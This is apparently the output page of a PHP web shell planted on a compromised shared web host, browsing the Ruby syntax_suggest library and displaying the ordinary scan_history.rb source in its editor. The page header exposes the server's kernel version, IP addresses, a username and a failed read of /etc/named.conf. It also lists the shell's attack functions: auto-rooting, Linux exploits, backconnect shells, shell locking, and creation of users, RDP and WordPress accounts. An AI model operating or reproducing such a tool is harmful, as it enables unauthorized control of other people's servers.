Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby34 /
share /
ruby /
syntax_suggest /
[ HOME SHELL ]
Name
Size
Permission
Action
capture
[ DIR ]
drwxr-xr-x
api.rb
6.11
KB
-rw-r--r--
around_block_scan.rb
6.9
KB
-rw-r--r--
block_expand.rb
4.88
KB
-rw-r--r--
capture_code_context.rb
6.67
KB
-rw-r--r--
clean_document.rb
8.73
KB
-rw-r--r--
cli.rb
3.12
KB
-rw-r--r--
code_block.rb
2.13
KB
-rw-r--r--
code_frontier.rb
5.61
KB
-rw-r--r--
code_line.rb
6.62
KB
-rw-r--r--
code_search.rb
3.81
KB
-rw-r--r--
core_ext.rb
2.65
KB
-rw-r--r--
display_code_with_line_numbers...
1.77
KB
-rw-r--r--
display_invalid_blocks.rb
1.75
KB
-rw-r--r--
explain_syntax.rb
2.69
KB
-rw-r--r--
left_right_lex_count.rb
4.06
KB
-rw-r--r--
lex_all.rb
1.66
KB
-rw-r--r--
lex_value.rb
1.5
KB
-rw-r--r--
mini_stringio.rb
774
B
-rw-r--r--
parse_blocks_from_indent_line....
1.5
KB
-rw-r--r--
pathname_from_message.rb
1.42
KB
-rw-r--r--
priority_engulf_queue.rb
1.26
KB
-rw-r--r--
priority_queue.rb
2
KB
-rw-r--r--
ripper_errors.rb
960
B
-rw-r--r--
scan_history.rb
2.92
KB
-rw-r--r--
unvisited_lines.rb
705
B
-rw-r--r--
version.rb
76
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scan_history.rb
# frozen_string_literal: true module SyntaxSuggest # Scans up/down from the given block # # You can try out a change, stash it, or commit it to save for later # # Example: # # scanner = ScanHistory.new(code_lines: code_lines, block: block) # scanner.scan( # up: ->(_, _, _) { true }, # down: ->(_, _, _) { true } # ) # scanner.changed? # => true # expect(scanner.lines).to eq(code_lines) # # scanner.stash_changes # # expect(scanner.lines).to_not eq(code_lines) class ScanHistory attr_reader :before_index, :after_index def initialize(code_lines:, block:) @code_lines = code_lines @history = [block] refresh_index end def commit_if_changed if changed? @history << CodeBlock.new(lines: @code_lines[before_index..after_index]) end self end # Discards any changes that have not been committed def stash_changes refresh_index self end # Discard changes that have not been committed and revert the last commit # # Cannot revert the first commit def revert_last_commit if @history.length > 1 @history.pop refresh_index end self end def changed? @before_index != current.lines.first.index || @after_index != current.lines.last.index end # Iterates up and down # # Returns line, kw_count, end_count for each iteration def scan(up:, down:) kw_count = 0 end_count = 0 up_index = before_lines.reverse_each.take_while do |line| kw_count += 1 if line.is_kw? end_count += 1 if line.is_end? up.call(line, kw_count, end_count) end.last&.index kw_count = 0 end_count = 0 down_index = after_lines.each.take_while do |line| kw_count += 1 if line.is_kw? end_count += 1 if line.is_end? down.call(line, kw_count, end_count) end.last&.index @before_index = if up_index && up_index < @before_index up_index else @before_index end @after_index = if down_index && down_index > @after_index down_index else @after_index end self end def next_up return nil if @before_index <= 0 @code_lines[@before_index - 1] end def next_down return nil if @after_index >= @code_lines.length @code_lines[@after_index + 1] end def lines @code_lines[@before_index..@after_index] end private def before_lines @code_lines[0...@before_index] || [] end # Returns an array of all the CodeLines that exist after # the currently scanned block private def after_lines @code_lines[@after_index.next..] || [] end private def current @history.last end private def refresh_index @before_index = current.lines.first.index @after_index = current.lines.last.index self end end end
Close